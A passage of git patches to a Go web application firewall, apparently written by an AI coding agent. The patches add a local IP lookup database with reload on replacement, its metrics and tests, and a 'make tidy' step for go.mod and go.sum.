+// client with no answer. // //nolint:tagliatelle // the state files use snake_case, as the request log does type Answer struct { diff --git a/internal/lookup/lookuptest/lookuptest.go b/internal/lookup/lookuptest/lookuptest.go new file mode 100644 index 0000000..4ea85ae --- /dev/null +++ b/internal/lookup/lookuptest/lookuptest.go @@ -0,0 +1,83 @@ +// Package lookuptest writes lookup databases, IPinfo Lite files in their +// .mmdb form, for the tests of the packages that read them. +package lookuptest + +import ( + "bytes" + "net" + "os" + "testing" + + "github.com/maxmind/mmdbwriter" + "github.com/maxmind/mmdbwriter/mmdbtype" +) + +// fileMode is the mode of the files written: read and written by their +// owner alone. +const fileMode = 0o600 + +// Network is what a lookup database holds about a netblock, of the fields +// smallwebwaf reads: its AS number, such as AS64496, the AS's name, and +// its country, such as DE. +type Network struct { + ASN string + ASName string + Country string +} + +// Write writes a lookup database at path that places each netblock in +// networks, such as 203.0.113.0/24, as its Network says, and no other +// address. +func Write(tb testing.TB, path string, networks map[string]Network) { + tb.Helper() + + records := make(map[string]mmdbtype.Map, len(networks)) + for netblock, network := range networks { + records[netblock] = mmdbtype.Map{ + "asn": mmdbtype.String(network.ASN), + "as_name": mmdbtype.String(network.ASName), + "country_code": mmdbtype.String(network.Country), + } + } + + WriteRecords(tb, path, records) +} + +// WriteRecords writes a lookup database at path that holds each record in +// records for its netblock, and nothing for any other address. +func WriteRecords(tb testing.TB, path string, records map[string]mmdbtype.Map) { + tb.Helper() + + tree, err := mmdbwriter.New(mmdbwriter.Options{ + DatabaseType: "ipinfo_lite", + // The tests' clients are in the netblocks kept for documentation. + IncludeReservedNetworks: true, + }) + if err != nil { + tb.Fatalf("new lookup database: %v", err) + } + + for netblock, record := range records { + _, network, err := net.ParseCIDR(netblock) + if err != nil { + tb.Fatalf("netblock %q: %v", netblock, err) + } + + err = tree.Insert(network, record) + if err != nil { + tb.Fatalf("insert %s: %v", netblock, err) + } + } + + var database bytes.Buffer + + _, err = tree.WriteTo(&database) + if err != nil { + tb.Fatalf("write the lookup database: %v", err) + } + + err = os.WriteFile(path, database.Bytes(), fileMode) + if err != nil { + tb.Fatalf("write %s: %v", path, err) + } +} diff --git a/internal/metrics/metrics.go b/internal/metrics/metrics.go index 8f14162..cafb7dd 100644 --- a/internal/metrics/metrics.go +++ b/internal/metrics/metrics.go @@ -229,6 +229,28 @@ func (m *Metrics) AddRemoteLog(remote *remotelog.Sender) { ) } +// AddLookupFile adds the metrics of the lookup database, read as the +// metrics are asked for: when the file in use was read, which lastRead +// returns, and the replacements of it that could not be read, which +// readFailures returns. The lookup package's File, which has both, cannot +// be named here: that package counts GeoJS's requests in these metrics. +func (m *Metrics) AddLookupFile(lastRead func() time.Time, readFailures func() int) { + m.registry.MustRegister( + prometheus.NewGaugeFunc(prometheus.GaugeOpts{ + Name: "smallwebwaf_lookup_database_last_read_timestamp_seconds", + Help: "When the lookup database in use was read, in seconds since 1970.", + }, func() float64 { + return float64(lastRead().Unix()) + }), + prometheus.NewCounterFunc(prometheus.CounterOpts{ + Name: "smallwebwaf_lookup_database_read_failures_total", + Help: "Replacements of the lookup database that could not be read.", + }, func() float64 { + return float64(readFailures()) + }), + ) +} + // AddAlerts adds the metrics of the alerts sent to each destination set, // read from queue as the metrics are asked for, by destination: the // alerts sent, the requests to the destination that failed, the alerts diff --git a/internal/proxy/lookup.go b/internal/proxy/lookup.go index 7c92ab0..e36ad59 100644 --- a/internal/proxy/lookup.go +++ b/internal/proxy/lookup.go @@ -18,26 +18,32 @@ const ( countryHeader = "X-Client-Country" ) -// lookUp looks up the client's AS number and country, and notes them for -// the log line, unless SWWAF_LOOKUP_SOURCE is off or the client is on a -// private, loopback or link-local address, which no lookup can place. -// While a setting needs the answer, a new client's request waits for it. -// ctx is the request's own context. +// lookUp looks up the client's AS number and country, in the lookup +// database or through GeoJS, and notes them for the log line, unless +// SWWAF_LOOKUP_SOURCE is off or the client is on a private, loopback or +// link-local address, which no lookup can place. The lookup database +// answers at once. With GeoJS, while a setting needs the answer, a new +// client's request waits for it. ctx is the request's own context. func (rq *request) lookUp(ctx context.Context) { if rq.h.config.LookupSource == "off" || !canBePlaced(rq.client) { return } - answer := rq.h.geojs.LookUp(ctx, clientGroup(rq.client)) + if rq.h.config.LookupSource == "file" { + rq.lookupAnswer = rq.h.lookupFile.LookUp(clientGroup(rq.client)) + } else { + rq.lookupAnswer = rq.h.geojs.LookUp(ctx, clientGroup(rq.client)) + } + rq.lookedUp = true - rq.line.ASN = answer.ASN - rq.line.ASName = answer.ASName - rq.line.Country = answer.Country + rq.line.ASN = rq.lookupAnswer.ASN + rq.line.ASName = rq.lookupAnswer.ASName + rq.line.Country = rq.lookupAnswer.Country } -// addLookup adds answer, GeoJS's answer about a client, to the client's -// history, and to the notes of the bans on its netblock that have no AS -// number, AS name or country yet. +// addLookup adds answer, an answer about a client from the lookup +// database or GeoJS, to the client's history, and to the notes of the bans +// on its netblock that have no AS number, AS name or country yet. func (h *handler) addLookup(answer lookup.Answer) { h.limiter.AddLookup(answer.Client, answer.Answered, answer.ASN, answer.ASName, answer.Country) diff --git a/internal/proxy/lookup_test.go b/internal/proxy/lookup_test.go index 94e9aac..26af412 100644 --- a/internal/proxy/lookup_test.go +++ b/internal/proxy/lookup_test.go @@ -5,6 +5,7 @@ import ( "net/http" "net/http/httptest" "net/netip" + "path/filepath" "slices" "sync" "testing" @@ -13,6 +14,7 @@ import ( "sneak.berlin/go/smallwebwaf/internal/alerts" "sneak.berlin/go/smallwebwaf/internal/lookup" + "sneak.berlin/go/smallwebwaf/internal/lookup/lookuptest" "sneak.berlin/go/smallwebwaf/internal/requestlog" ) @@ -166,6 +168,64 @@ func TestLookupSourceOffLooksNoClientUp(t *testing.T) { } } +func TestClientsAreLookedUpInTheLookupDatabaseAndGeoJSIsNotAsked(t *testing.T) { + t.Parallel() + + geojsURL, asked := startGeoJS(t) + path := filepath.Join(t.TempDir(), "ipinfo_lite.mmdb") + lookuptest.Write(t, path, map[string]lookuptest.Network{ + fromDE + "/32": {ASN: asnDE, ASName: asNameDE, Country: "DE"}, + fromKP + "/32": {ASN: asnKP, ASName: asNameKP, Country: "KP"}, + }) + s, clk, server := startWithClock(t, geojsURL, map[string]string{ + lookupSource: "file", + lookupDBPath: path, + allowedCountries: "DE", + rateLimitPerMinute: "1", + }) + + // fromDE's second request breaks the limit and bans it. The list + // refuses fromKP, and unplaced, which the file does not hold. + de := asnAndCountry{asnDE, asNameDE, "DE"} + + for _, tc := range []struct { + line logLine + want asnAndCountry + }{ + {s.get(fromDE, http.StatusOK, requestlog.ActionForward), de}, + {s.get(fromDE, http.StatusForbidden, requestlog.ActionRateLimited), de}, + { + s.get(fromKP, http.StatusForbidden, requestlog.ActionCountryDenied), + asnAndCountry{asnKP, asNameKP, "KP"}, + }, + { + s.get(unplaced, http.StatusForbidden, requestlog.ActionCountryDenied), + asnAndCountry{}, + }, + } { + got := asnAndCountry{tc.line.ASN, tc.line.ASName, tc.line.Country} + if got != tc.want { + t.Errorf("log line has %+v, want %+v", got, tc.want) + } + } + + h := historyOf(t, server, fromDE) + if got := (asnAndCountry{h.ASN, h.ASName, h.Country}); got != de || + !h.LookedUp.Equal(clk.Now()) { + t.Errorf("history has %+v, looked up at %s; want %+v, at %s", + got, h.LookedUp, de, clk.Now()) + } + + notes := server.Ledger.Bans(netip.MustParsePrefix(fromDE + "/32"))[0].Notes + if got := (asnAndCountry{notes.ASN, notes.ASName, notes.Country}); got != de { + t.Errorf("the ban's notes have %+v, want %+v", got, de) + } + + if len(asked()) != 0 { + t.Errorf("GeoJS was asked about %v, want nothing", asked()) + } +} + func TestLookupHeadersArePassedToTheAppAndTheClientsOwnRemoved(t *testing.T) { t.Parallel() diff --git a/internal/proxy/proxy.go b/internal/proxy/proxy.go index 46246e9..21d7c24 100644 --- a/internal/proxy/proxy.go +++ b/internal/proxy/proxy.go @@ -54,9 +54,12 @@ type Params struct { RequestLog io.Writer // ProcessLog receives the process's own messages. ProcessLog *slog.Logger - // GeoJSURL is where clients' AS numbers and countries are looked up, - // normally lookup.URL, unless SWWAF_LOOKUP_SOURCE is off. + // GeoJSURL is where clients' AS numbers and countries are looked up + // while SWWAF_LOOKUP_SOURCE is geojs, normally lookup.URL. GeoJSURL string + // LookupFile is the lookup database they are looked up in while + // SWWAF_LOOKUP_SOURCE is file, and nil otherwise. + LookupFile *lookup.File // Now tells the time by which requests are counted for the rate // limits, bans are made and run out, and GeoJS's answers are kept, // normally time.Now in UTC, the time the state files give. @@ -70,14 +73,16 @@ type Params struct { } // Server is the server smallwebwaf runs, with the parts of the proxy -// whose state the state files keep, and the metrics. +// whose state the state files keep, the lookup database, nil unless +// SWWAF_LOOKUP_SOURCE is file, and the metrics. type Server struct { *http.Server - Ledger *bans.Ledger - Limiter *ratelimit.Limiter - GeoJS *lookup.GeoJS - Metrics *metrics.Metrics + Ledger *bans.Ledger + Limiter *ratelimit.Limiter + GeoJS *lookup.GeoJS + LookupFile *lookup.File + Metrics *metrics.Metrics } // New returns the server smallwebwaf runs: each request it reads passes @@ -109,8 +114,9 @@ func New(params Params) *Server { AttackBanDuration: params.Config.AttackBanDuration, MaxBans: params.Config.MaxBans, }), - rules: params.Rules, - alerts: params.Alerts, + lookupFile: params.LookupFile, + rules: params.Rules, + alerts: params.Alerts, } h.geojs = lookup.New(lookup.Params{ URL: params.GeoJSURL, @@ -142,10 +148,11 @@ func New(params Params) *Server { MaxHeaderBytes: int(params.Config.ClientRequestHeaderMaxBytes - 4<<10), ErrorLog: errorLog, }, - Ledger: h.ledger, - Limiter: h.limiter, - GeoJS: h.geojs, - Metrics: m, + Ledger: h.ledger, + Limiter: h.limiter, + GeoJS: h.geojs, + LookupFile: h.lookupFile, + Metrics: m, } } @@ -162,6 +169,7 @@ type handler struct { limiter *ratelimit.Limiter ledger *bans.Ledger geojs *lookup.GeoJS + lookupFile *lookup.File rules *rules.Files alerts *alerts.Queue } diff --git a/internal/proxy/proxy_test.go b/internal/proxy/proxy_test.go index c359551..4a25d6f 100644 --- a/internal/proxy/proxy_test.go +++ b/internal/proxy/proxy_test.go @@ -16,6 +16,7 @@ import ( "sneak.berlin/go/smallwebwaf/internal/alerts" "sneak.berlin/go/smallwebwaf/internal/config" + "sneak.berlin/go/smallwebwaf/internal/lookup" "sneak.berlin/go/smallwebwaf/internal/proxy" "sneak.berlin/go/smallwebwaf/internal/requestlog" "sneak.berlin/go/smallwebwaf/internal/rules" @@ -67,6 +68,7 @@ const ( rateLimitPerDay = "SWWAF_RATE_LIMIT_PER_DAY" rateLimitExemptPaths = "SWWAF_RATE_LIMIT_EXEMPT_PATHS" lookupSource = "SWWAF_LOOKUP_SOURCE" + lookupDBPath = "SWWAF_LOOKUP_DB_PATH" lookupTimeout = "SWWAF_LOOKUP_TIMEOUT" addLookupHeaders = "SWWAF_ADD_LOOKUP_HEADERS" deniedCountries = "SWWAF_DENIED_COUNTRIES" @@ -265,7 +267,8 @@ func startProxyWithAlerts( // proxy raises, as the settings in env make it. No alert is sent from the // queue: they wait in it, for the test to look at. With no geojsURL, there // is no stand-in for GeoJS to look clients up at, and SWWAF_LOOKUP_SOURCE -// is off unless env sets it. +// is off unless env sets it. While it is file, the lookup database +// SWWAF_LOOKUP_DB_PATH names is read. func newProxy( t *testing.T, appURL, geojsURL string, now func() time.Time, env map[string]string, @@ -310,11 +313,23 @@ func newProxy( ProcessLog: processLog, }) + var lookupFile *lookup.File + + if cfg.LookupSource == "file" { + lookupFile, err = lookup.OpenFile(lookup.FileParams{ + Path: cfg.LookupDBPath, Now: now, ProcessLog: processLog, Alerts: alertQueue, + }) + if err != nil { + t.Fatalf("lookup database: %v", err) + } + } + server := proxy.New(proxy.Params{ Config: cfg, RequestLog: out, ProcessLog: processLog, GeoJSURL: geojsURL, + LookupFile: lookupFile, Now: now, Rules: ruleFiles, Alerts: alertQueue, diff --git a/internal/proxy/request.go b/internal/proxy/request.go index 2eaffd8..f52cfd5 100644 --- a/internal/proxy/request.go +++ b/internal/proxy/request.go @@ -15,6 +15,7 @@ import ( "sync/atomic" "time" + "sneak.berlin/go/smallwebwaf/internal/lookup" "sneak.berlin/go/smallwebwaf/internal/ratelimit" "sneak.berlin/go/smallwebwaf/internal/requestlog" ) @@ -49,9 +50,11 @@ type request struct { peer netip.Addr peerTrusted bool // lookedUp is true once the client's AS number and country have been - // looked up, whether or not an answer was there. - lookedUp bool - start time.Time + // looked up, whether or not an answer was there, and lookupAnswer is + // what the lookup gave then, the zero Answer while GeoJS had given none. + lookedUp bool + lookupAnswer lookup.Answer + start time.Time // checked is when the checks were done, and upstreamStart when the // request was handed to the app. checked time.Time @@ -488,10 +491,11 @@ func timing(start, end time.Time) *float64 { } // addToHistory adds the request, which has ended, to its client's -// history, and then, for a client that was looked up, the answer kept -// about it to that history and to the notes of the bans on its netblock: -// an answer that came during the request may have come before either was -// there, and one that comes later is added when it comes. +// history, and then, for a client that was looked up, the lookup +// database's answer about it, or the answer from GeoJS kept about it, to +// that history and to the notes of the bans on its netblock: an answer +// may have come before either was there, and one from GeoJS that comes +// later is added when it comes. func (rq *request) addToHistory() { var requestBytes int64 if rq.body != nil { @@ -514,6 +518,13 @@ func (rq *request) addToHistory() { return } + // The lookup database's answer was there at once. + if rq.h.config.LookupSource == "file" { + rq.h.addLookup(rq.lookupAnswer) + + return + } + answer, kept := rq.h.geojs.Kept(group) if kept { rq.h.addLookup(answer) diff --git a/internal/ratelimit/ratelimit.go b/internal/ratelimit/ratelimit.go index 5717b51..5198901 100644 --- a/internal/ratelimit/ratelimit.go +++ b/internal/ratelimit/ratelimit.go @@ -68,8 +68,8 @@ type History struct { LastSeen time.Time `json:"last_seen"` // ASN, ASName and Country are the client's AS number, AS name and // country as last looked up, each empty when the lookup could not - // find it, and LookedUp is when GeoJS gave that answer; all are empty - // while the client never was looked up. + // find it, and LookedUp is when the lookup gave that answer; all are + // empty while the client never was looked up. ASN string `json:"asn,omitempty"` ASName string `json:"as_name,omitempty"` Country string `json:"country,omitempty"` @@ -230,7 +230,8 @@ func (l *Limiter) AddToHistory(client netip.Prefix, now time.Time, r Request) { } // AddLookup gives client's history its AS number, AS name and country, as -// GeoJS gave them at lookedUp, if the table of clients holds the client. +// the lookup gave them at lookedUp, if the table of clients holds the +// client. // It does not make the client the most recently seen. func (l *Limiter) AddLookup( client netip.Prefix, lookedUp time.Time, asn, asName, country string, diff --git a/internal/smallwebwaf/smallwebwaf.go b/internal/smallwebwaf/smallwebwaf.go index b2c1fda..ee027bf 100644 --- a/internal/smallwebwaf/smallwebwaf.go +++ b/internal/smallwebwaf/smallwebwaf.go @@ -1,6 +1,7 @@ // Package smallwebwaf runs the smallwebwaf process: it reads the settings, -// the rule files and the state files, serves requests until it is told to -// stop, and then stops in an orderly way, writing the state files. +// the rule files, the lookup database and the state files, serves requests +// until it is told to stop, and then stops in an orderly way, writing the +// state files. package smallwebwaf import ( @@ -64,9 +65,9 @@ func Main(version string) int { }) } -// Run reads the settings, the rule files and the state files, then serves -// requests until ctx is done. It returns the process's exit status, 1 -// when smallwebwaf cannot start. +// Run reads the settings, the rule files, the lookup database and the +// state files, then serves requests until ctx is done. It returns the +// process's exit status, 1 when smallwebwaf cannot start. func Run(ctx context.Context, params Params) int { processLog := requestlog.NewProcessLogger(params.Stdout, config.InstanceName(params.LookupEnv)) @@ -110,21 +111,17 @@ func Run(ctx context.Context, params Params) int { return 1 } - server := proxy.New(proxy.Params{ - Config: cfg, - RequestLog: stdout, - ProcessLog: processLog, - GeoJSURL: lookup.URL, - Now: now, - Rules: ruleFiles, - Alerts: alertQueue, - }) + server, err := newServer(cfg, stdout, processLog, now, ruleFiles, alertQueue) + if err != nil { + processLog.Error("cannot use the lookup database", "error", err.Error()) + + return 1 + } + if remote != nil { server.Metrics.AddRemoteLog(remote) } - server.Metrics.AddAlerts(alertQueue) - files, err := loadStateFiles(cfg, server, alertQueue, now, processLog) if err != nil { processLog.Error("cannot use the state files", "error", err.Error()) @@ -145,7 +142,49 @@ func Run(ctx context.Context, params Params) int { "address", listener.Addr().String(), "settings", cfg) - return serve(ctx, server.Server, listener, files, ruleFiles, alertQueue, processLog) + return serve(ctx, server, listener, files, ruleFiles, alertQueue, processLog) +} + +// newServer returns the server smallwebwaf runs, with the metrics of the +// alerts, after reading the lookup database while SWWAF_LOOKUP_SOURCE is +// file. A lookup database that cannot be read is an error. +func newServer( + cfg *config.Config, stdout io.Writer, processLog *slog.Logger, + now func() time.Time, ruleFiles *rules.Files, alertQueue *alerts.Queue, +) (*proxy.Server, error) { + var lookupFile *lookup.File + + if cfg.LookupSource == "file" { + var err error + + lookupFile, err = lookup.OpenFile(lookup.FileParams{ + Path: cfg.LookupDBPath, + Now: now, + ProcessLog: processLog, + Alerts: alertQueue, + }) + if err != nil { + return nil, err + } + } + + server := proxy.New(proxy.Params{ + Config: cfg, + RequestLog: stdout, + ProcessLog: processLog, + GeoJSURL: lookup.URL, + LookupFile: lookupFile, + Now: now, + Rules: ruleFiles, + Alerts: alertQueue, + }) + server.Metrics.AddAlerts(alertQueue) + + if lookupFile != nil { + server.Metrics.AddLookupFile(lookupFile.LastRead, lookupFile.ReadFailures) + } + + return server, nil } // loadStateFiles reads the state files into the parts of server and into @@ -227,11 +266,12 @@ func startSending( // serve serves requests on listener, writes the state files as they are // due, takes in an admin's edits of them, reads the rule files again as -// they change, and sends the alerts, until ctx is done. Then it gives the -// requests in progress shutdownTimeout to finish, and writes every state -// file, alerts.json with the alerts still waiting. +// they change, and the lookup database when it is replaced, and sends the +// alerts, until ctx is done. Then it gives the requests in progress +// shutdownTimeout to finish, and writes every state file, alerts.json with +// the alerts still waiting. func serve( - ctx context.Context, server *http.Server, listener net.Listener, + ctx context.Context, server *proxy.Server, listener net.Listener, files *state.Files, ruleFiles *rules.Files, alertQueue *alerts.Queue, processLog *slog.Logger, ) int { @@ -247,6 +287,11 @@ func serve( written := inBackground(func() { files.Run(writing) }) watched := inBackground(func() { files.Watch(writing) }) rulesWatched := inBackground(func() { ruleFiles.Watch(writing) }) + lookupFileWatched := inBackground(func() { + if server.LookupFile != nil { + server.LookupFile.Watch(writing) + } + }) alertsSent := inBackground(func() { alertQueue.Run(writing) }) select { @@ -289,6 +334,7 @@ func serve( <-written <-watched <-rulesWatched + <-lookupFileWatched <-alertsSent err = files.WriteAll() diff --git a/internal/smallwebwaf/smallwebwaf_test.go b/internal/smallwebwaf/smallwebwaf_test.go index 6222476..fb708a3 100644 --- a/internal/smallwebwaf/smallwebwaf_test.go +++ b/internal/smallwebwaf/smallwebwaf_test.go @@ -18,6 +18,7 @@ import ( "testing" "time" + "sneak.berlin/go/smallwebwaf/internal/lookup/lookuptest" "sneak.berlin/go/smallwebwaf/internal/smallwebwaf" ) @@ -38,6 +39,8 @@ const ( stateCounterInterval = "SWWAF_STATE_COUNTER_INTERVAL" rateLimitPerDay = "SWWAF_RATE_LIMIT_PER_DAY" rulesDir = "SWWAF_RULES_DIR" + lookupSource = "SWWAF_LOOKUP_SOURCE" + lookupDBPath = "SWWAF_LOOKUP_DB_PATH" instanceName = "SWWAF_INSTANCE_NAME" adminToken = "SWWAF_ADMIN_TOKEN" //nolint:gosec // the setting's name metricsToken = "SWWAF_METRICS_TOKEN" //nolint:gosec // the setting's name @@ -48,6 +51,8 @@ const ( instance = "fsn1app1/gitea" // greeting is what the tests' app answers. greeting = "hello from the app" + // placed is the client the tests' lookup databases place. + placed = "203.0.113.9" ) // output collects what smallwebwaf writes on stdout. @@ -495,6 +500,107 @@ func TestRulesDirThatDoesNotExistStopsTheStart(t *testing.T) { ": no such file or directory") } +func TestLookupDatabaseReplacedWhileRunningTakesEffect(t *testing.T) { + t.Parallel() + + const token = "0123456789abcdef0123456789abcdef" + + path := filepath.Join(t.TempDir(), "ipinfo_lite.mmdb") + writeLookupDatabase(t, path, "DE") + + env := map[string]string{ + listenAddr: localhost + ":0", + upstreamURL: startApp(t), + stateDir: t.TempDir(), + rulesDir: t.TempDir(), + trustedProxies: localhost + "/32", + metricsToken: token, + instanceName: instance, + lookupSource: "file", + lookupDBPath: path, + "SWWAF_DENIED_COUNTRIES": "kp", + // The requests sent until a replacement takes effect, and those + // for the metrics, must not break a rate limit, whose ban would + // refuse them too. + "SWWAF_RATE_LIMIT_EXEMPT_NETS": placed + "," + localhost, + } + began := time.Now() + // Each replacement is written beside the file and renamed over it, as + // a refresh is. + replacement := path + ".new" + + var lastRead float64 + + runUntilStopped(t, env, func(url string) { + wantStatus(t, url, placed, http.StatusOK) + + // smallwebwaf reads the file again once it watches its directory, + // which may be after the first replacement. Once that has taken + // effect, only the watch can show the next. Each takes as long as + // it takes, so that a slow test process cannot fail the test. + writeLookupDatabase(t, replacement, "KP") + rename(t, replacement, path) + + for statusFrom(t, url, placed) != http.StatusForbidden { + time.Sleep(pollInterval) + } + + writeLookupDatabase(t, replacement, "DE") + rename(t, replacement, path) + + for statusFrom(t, url, placed) != http.StatusOK { + time.Sleep(pollInterval) + } + + // One that cannot be read leaves the file read before in use. + err := os.WriteFile(replacement, []byte("not a lookup database\n"), 0o600) + if err != nil { + t.Fatalf("write %s: %v", replacement, err) + } + + rename(t, replacement, path) + + metrics := metricsWith(t, url+"_smallwebwaf/metrics", token, + `smallwebwaf_lookup_database_read_failures_total{instance="fsn1app1/gitea"} 1`) + lastRead = seriesValue(t, metrics, + `smallwebwaf_lookup_database_last_read_timestamp_seconds{instance="fsn1app1/gitea"}`) + + wantStatus(t, url, placed, http.StatusOK) + }) + + if lastRead < float64(began.Unix()) || lastRead > float64(time.Now().Unix()) { + t.Errorf("the lookup database was last read at %v, want a time in the test", lastRead) + } +} + +func TestLookupDatabaseThatCannotBeReadStopsTheStart(t *testing.T) { + t.Parallel() + + path := filepath.Join(t.TempDir(), "ipinfo_lite.mmdb") + + // If it starts instead, it is stopped after waitLimit. + ctx, stop := context.WithTimeout(t.Context(), waitLimit) + defer stop() + + out := &output{} + + status := run(ctx, map[string]string{ + listenAddr: localhost + ":0", stateDir: t.TempDir(), rulesDir: t.TempDir(), + lookupSource: "file", lookupDBPath: path, + }, out) + if status != 1 { + t.Fatalf("exit status %d, want 1", status) + } + + want := "SWWAF_LOOKUP_DB_PATH cannot be read: open " + path + + ": no such file or directory" + + line := out.line(t, "msg", "cannot use the lookup database") + if line["error"] != want { + t.Errorf("start refused with %v, want the error %q", line, want) + } +} + func TestEveryLineIsAlsoSentToTheRemoteLogEndpoint(t *testing.T) { t.Parallel() @@ -1046,6 +1152,50 @@ func metricsWith(t *testing.T, url, token string, series ...string) string { } } +// seriesValue returns the value of series, such as +// name{instance="app"}, in metrics. +func seriesValue(t *testing.T, metrics, series string) float64 { + t.Helper() + + for line := range strings.Lines(metrics) { + value, found := strings.CutPrefix(strings.TrimSpace(line), series+" ") + if !found { + continue + } + + number, err := strconv.ParseFloat(value, 64) + if err != nil { + t.Fatalf("%s has the value %q: %v", series, value, err) + } + + return number + } + + t.Fatalf("no %s in the metrics:\n%s", series, metrics) + + return 0 +} + +// rename renames the file at from to, replacing any file there. +func rename(t *testing.T, from, to string) { + t.Helper() + + err := os.Rename(from, to) + if err != nil { + t.Fatalf("rename %s to %s: %v", from, to, err) + } +} + +// writeLookupDatabase writes a lookup database at path that places the +// client placed in country, and no other address. +func writeLookupDatabase(t *testing.T, path, country string) { + t.Helper() + + lookuptest.Write(t, path, map[string]lookuptest.Network{ + placed + "/32": {ASN: "AS64496", ASName: "Example Net", Country: country}, + }) +} + // askAsAdmin sends a request with method to url, with body and // adminSecret, and checks that it is answered 200. func askAsAdmin(t *testing.T, method, url, body string) { From 0dc26041dc5d5c8833cdf1b5377d004a0eed85bf Mon Sep 17 00:00:00 2001 From: clawbot <35+clawbot@noreply.example.org> Date: Wed, 7 Oct 2026 10:30:46 +0200 Subject: [PATCH 36/64] make tidy, and make check failing on an untidy go.mod or go.sum (closes #99) script/tidy runs `go mod tidy` in a new tidy stage of the Dockerfile, on the test phase's Go image, and writes go.mod and go.sum back into the working tree with `docker build --output`. The test phase now runs `go mod tidy -diff` before the tests and fails naming `make tidy`; it comes first because a missing go.sum line otherwise fails the tests with Go's own message. Judgement call: script/tidy's build has no tag, unlike the other builds in script/: it makes no image. Model: opus-5-5 --- Dockerfile | 26 +++++++++++++++++++++++++- Makefile | 10 +++++++--- README.md | 14 +++++++++----- script/tidy | 19 +++++++++++++++++++ 4 files changed, 60 insertions(+), 9 deletions(-) create mode 100755 script/tidy diff --git a/Dockerfile b/Dockerfile index fa861de..ad8e072 100644 --- a/Dockerfile +++ b/Dockerfile @@ -29,6 +29,12 @@ RUN go mod download COPY . . +# go.mod and go.sum must be as `go mod tidy` writes them, which is what +# `make tidy` does. Checked before the tests, which a missing go.sum line +# fails with a message that does not name `make tidy`. +RUN go mod tidy -diff || \ + { echo "go.mod or go.sum is not tidy: run make tidy" >&2; exit 1; } + # Go's build cache is kept on a tmpfs, out of the image: nothing uses it # after this step, and writing it into the image takes seconds. RUN --mount=type=tmpfs,target=/root/.cache/go-build \ @@ -36,7 +42,25 @@ RUN --mount=type=tmpfs,target=/root/.cache/go-build \ { echo "--- Rerunning with -v for details ---"; \ go test -timeout 90s -race -v ./...; exit 1; } -# Build stage. Nothing is wanted from the two phases above; the copies +# Tidy stage: `go mod tidy` in the test phase's Go, so that the files it +# writes pass the test phase's check. Nothing else depends on it, so only +# script/tidy, which names the stage after it, builds it. +# +# golang 1.27.1-trixie, 2026-09-19 +FROM golang@sha256:3b77fc618ec235a1ab412de7737f120dd507c57e8d87de4cbb7994fb94275ed5 AS tidy + +WORKDIR /src + +COPY . . + +RUN go mod tidy + +# go.mod and go.sum alone, which script/tidy writes into the working tree. +FROM scratch AS tidy-files + +COPY --from=tidy /src/go.mod /src/go.sum / + +# Build stage. Nothing is wanted from the lint and test phases; the copies # are what make BuildKit build them first, so the image, which needs this # stage, cannot be produced unless lint and test passed. # diff --git a/Makefile b/Makefile index 36cf289..6f3d484 100644 --- a/Makefile +++ b/Makefile @@ -1,9 +1,10 @@ -.PHONY: bootstrap setup test lint fmt fmt-check check docker hooks build run \ - example-app +.PHONY: bootstrap setup test lint fmt fmt-check tidy check docker hooks build \ + run example-app # Makefile targets are thin shims; the implementations live in script/ # per the scripts-to-rule-them-all pattern (see the Entrypoints section -# of README.md). build and run are for working on the code by hand; +# of README.md). tidy writes go.mod and go.sum as `go mod tidy` does, +# which test checks. build and run are for working on the code by hand; # example-app checks the image with an app built on it. bootstrap: @@ -24,6 +25,9 @@ fmt: fmt-check: @script/fmt-check +tidy: + @script/tidy + check: @script/check diff --git a/README.md b/README.md index 318eba6..4efd855 100644 --- a/README.md +++ b/README.md @@ -1401,10 +1401,10 @@ addresses are never sent to GeoJS. - `internal/alerts`: takes the alerts the other parts raise, holds back repeats and those past the hourly limit, and sends the others to the webhook, Slack and ntfy, each from a queue of its own. -- `Dockerfile`: the lint and test phases, then the image, whose last stage - installs Ubuntu's packages, nixpkgs, `runsvinit` and `smallwebwaf`, with - `share/smallwebwaf.run` as runit's `run` script for `smallwebwaf` and - `share/rules.d/00-default.rules` as its default rule file. +- `Dockerfile`: the lint and test phases, the stages `script/tidy` builds, then + the image, whose last stage installs Ubuntu's packages, nixpkgs, `runsvinit` + and `smallwebwaf`, with `share/smallwebwaf.run` as runit's `run` script for + `smallwebwaf` and `share/rules.d/00-default.rules` as its default rule file. - `deploy/example-app`: an app built on the image, which `script/example-app` checks. @@ -1433,7 +1433,11 @@ so that they run in minimal containers. `script/install-precommit`. - `script/projectname`: prints the project's name, `smallwebwaf`, which `script/docker` and the others tag their images with. -- `script/test`: runs the tests, as the `test` phase of the `Dockerfile`. +- `script/test`: checks that `go.mod` and `go.sum` are as `go mod tidy` writes + them, then runs the tests, as the `test` phase of the `Dockerfile`. +- `script/tidy`: writes `go.mod` and `go.sum` as `go mod tidy` writes them, with + the Go of the `test` phase, in the `tidy` stage of the `Dockerfile`; + `make tidy` runs it. - `script/lint`: runs golangci-lint, as the `lint` phase of the `Dockerfile`. - `script/fmt`: formats the Go code with `gofmt` and the Markdown with prettier. - `script/fmt-check`: checks the formatting, and changes nothing. diff --git a/script/tidy b/script/tidy new file mode 100755 index 0000000..2be17e4 --- /dev/null +++ b/script/tidy @@ -0,0 +1,19 @@ +#!/bin/sh +# script/tidy: write go.mod and go.sum as `go mod tidy` writes them, which +# the test phase of the Dockerfile checks. This builds the Dockerfile's +# tidy-files stage, which holds the two files alone, and --output writes +# them into the working tree. The build makes no image, so it has no tag. +# --no-cache because `go mod tidy` asks the module proxy, whose answers a +# cached layer would repeat. +set -eu + +ROOT="$(cd "$(dirname "$0")/.." && pwd -P)" + +main() { + cd "$ROOT" + docker build --no-cache \ + --target tidy-files \ + --output "type=local,dest=$ROOT" . +} + +main "$@" From f35e3ddfe8bf20f1301671a9fac35326d7f3d63e Mon Sep 17 00:00:00 2001 From: clawbot <35+clawbot@noreply.example.org> Date: Wed, 7 Oct 2026 13:13:06 +0200 Subject: [PATCH 37/64] Byte limits per client over a minute, an hour and a day (closes #20) SWWAF_BYTES_LIMIT_PER_MINUTE, _PER_HOUR and _PER_DAY (10G, 20G, 50G) and SWWAF_BYTES_COUNT (both). A request's bytes are counted once its answer has ended, for a request passed to the app that the rate limits count; what a WebSocket carries each way, once it closes. Bytes over a limit ban the client as a broken rate limit does, and cut nothing short. clients.json keeps the byte buckets, the log line's counts carry the byte totals, ban notes say what the limit is on, and the limit hits metric is labelled by kind. Judgement call: limit_hit names a byte window minute_bytes, hour_bytes or day_bytes, as counts names the byte totals. Judgement call: in observe mode, the bytes of a request enforce mode would have refused are not counted. Model: opus-5-5 --- README.md | 293 ++++++++------ 